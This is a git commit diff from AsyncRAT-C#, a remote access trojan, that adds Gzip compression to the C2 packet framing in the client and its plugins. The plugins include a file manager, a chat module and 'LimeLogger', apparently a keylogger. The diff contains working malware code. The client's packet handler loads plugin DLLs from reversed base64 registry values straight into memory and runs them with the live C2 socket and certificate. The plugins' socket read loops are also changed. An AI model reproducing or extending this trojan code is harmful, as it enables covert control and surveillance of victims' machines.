Update
fixed bugs added Gzip compress/decompress for packets
This commit is contained in:
parent
b57d957d03
commit
d1b57f4291
45
AsyncRAT-C#/Client/Algorithm/Zip.cs
Normal file
45
AsyncRAT-C#/Client/Algorithm/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Client.Algorithm
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -74,6 +74,7 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Compile Include="Algorithm\Aes256.cs" />
|
<Compile Include="Algorithm\Aes256.cs" />
|
||||||
<Compile Include="Algorithm\Sha256.cs" />
|
<Compile Include="Algorithm\Sha256.cs" />
|
||||||
|
<Compile Include="Algorithm\Zip.cs" />
|
||||||
<Compile Include="Handle Packet\Packet.cs" />
|
<Compile Include="Handle Packet\Packet.cs" />
|
||||||
<Compile Include="Helper\Anti_Analysis.cs" />
|
<Compile Include="Helper\Anti_Analysis.cs" />
|
||||||
<Compile Include="Helper\Methods.cs" />
|
<Compile Include="Helper\Methods.cs" />
|
||||||
|
@ -163,16 +163,12 @@ namespace Client.Connection
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -33,7 +33,8 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
case "plugin": // run plugin in memory
|
case "plugin": // run plugin in memory
|
||||||
{
|
{
|
||||||
Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))));
|
Received();
|
||||||
|
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
|
||||||
Type type = assembly.GetType("Plugin.Plugin");
|
Type type = assembly.GetType("Plugin.Plugin");
|
||||||
dynamic instance = Activator.CreateInstance(type);
|
dynamic instance = Activator.CreateInstance(type);
|
||||||
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install);
|
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install);
|
||||||
@ -52,9 +53,9 @@ namespace Client.Handle_Packet
|
|||||||
List<string> plugins = new List<string>();
|
List<string> plugins = new List<string>();
|
||||||
foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
|
foreach (string plugin in unpack_msgpack.ForcePathObject("Hash").AsString.Split(','))
|
||||||
{
|
{
|
||||||
if (SetRegistry.GetValue(plugin.Trim()) == null)
|
if (SetRegistry.GetValue(plugin) == null)
|
||||||
{
|
{
|
||||||
plugins.Add(plugin.Trim());
|
plugins.Add(plugin);
|
||||||
Debug.WriteLine("plguin not found");
|
Debug.WriteLine("plguin not found");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -84,6 +85,14 @@ namespace Client.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void Received()
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "Received";
|
||||||
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||||
|
Thread.Sleep(1000);
|
||||||
|
}
|
||||||
|
|
||||||
public static void Error(string ex)
|
public static void Error(string ex)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
|
@ -8,6 +8,7 @@
|
|||||||
* 修复整数值为127时解码出来为0的情况,感谢(Putree 274638001<spiritring@gmail.com>)反馈
|
* 修复整数值为127时解码出来为0的情况,感谢(Putree 274638001<spiritring@gmail.com>)反馈
|
||||||
* 2015-07-14 15:28:45
|
* 2015-07-14 15:28:45
|
||||||
*/
|
*/
|
||||||
|
using Client.Algorithm;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections;
|
using System.Collections;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
@ -494,6 +495,7 @@ namespace Client.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -835,7 +837,7 @@ namespace Client.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -59,6 +59,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<EmbeddedResource Include="FormChat.resx">
|
<EmbeddedResource Include="FormChat.resx">
|
||||||
|
@ -126,16 +126,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
45
AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Chat/Chat/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -53,6 +53,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
45
AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Extra/Extra/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -128,17 +128,13 @@ namespace Plugin
|
|||||||
IsConnected = false;
|
IsConnected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -54,6 +54,7 @@
|
|||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
<Compile Include="TempSocket.cs" />
|
<Compile Include="TempSocket.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
45
AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/FileManager/FileManager/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -52,6 +52,7 @@
|
|||||||
<Compile Include="Packet.cs" />
|
<Compile Include="Packet.cs" />
|
||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
45
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -123,16 +123,12 @@ namespace Plugin
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
MS.Write(Buffer, 0, rc);
|
MS.Write(Buffer, 0, rc);
|
||||||
Buffer = new byte[Buffersize - MS.Length];
|
|
||||||
}
|
|
||||||
if (MS.Length == Buffersize)
|
|
||||||
{
|
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
||||||
thread.Start(MS.ToArray());
|
|
||||||
Buffer = new byte[4];
|
|
||||||
MS.Dispose();
|
|
||||||
MS = new MemoryStream();
|
|
||||||
}
|
}
|
||||||
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||||
|
thread.Start(MS.ToArray());
|
||||||
|
Buffer = new byte[4];
|
||||||
|
MS.Dispose();
|
||||||
|
MS = new MemoryStream();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||||
|
@ -41,7 +41,7 @@
|
|||||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||||
|
|
||||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||||
<ILMergeDebugInfo></ILMergeDebugInfo>
|
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||||
|
|
||||||
<!-- Target assembly will be delay signed -->
|
<!-- Target assembly will be delay signed -->
|
||||||
<ILMergeDelaySign></ILMergeDelaySign>
|
<ILMergeDelaySign></ILMergeDelaySign>
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -70,6 +70,7 @@
|
|||||||
<DesignTime>True</DesignTime>
|
<DesignTime>True</DesignTime>
|
||||||
<DependentUpon>Resources.resx</DependentUpon>
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
</Compile>
|
</Compile>
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<None Include="ILMerge.props" />
|
<None Include="ILMerge.props" />
|
||||||
|
45
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
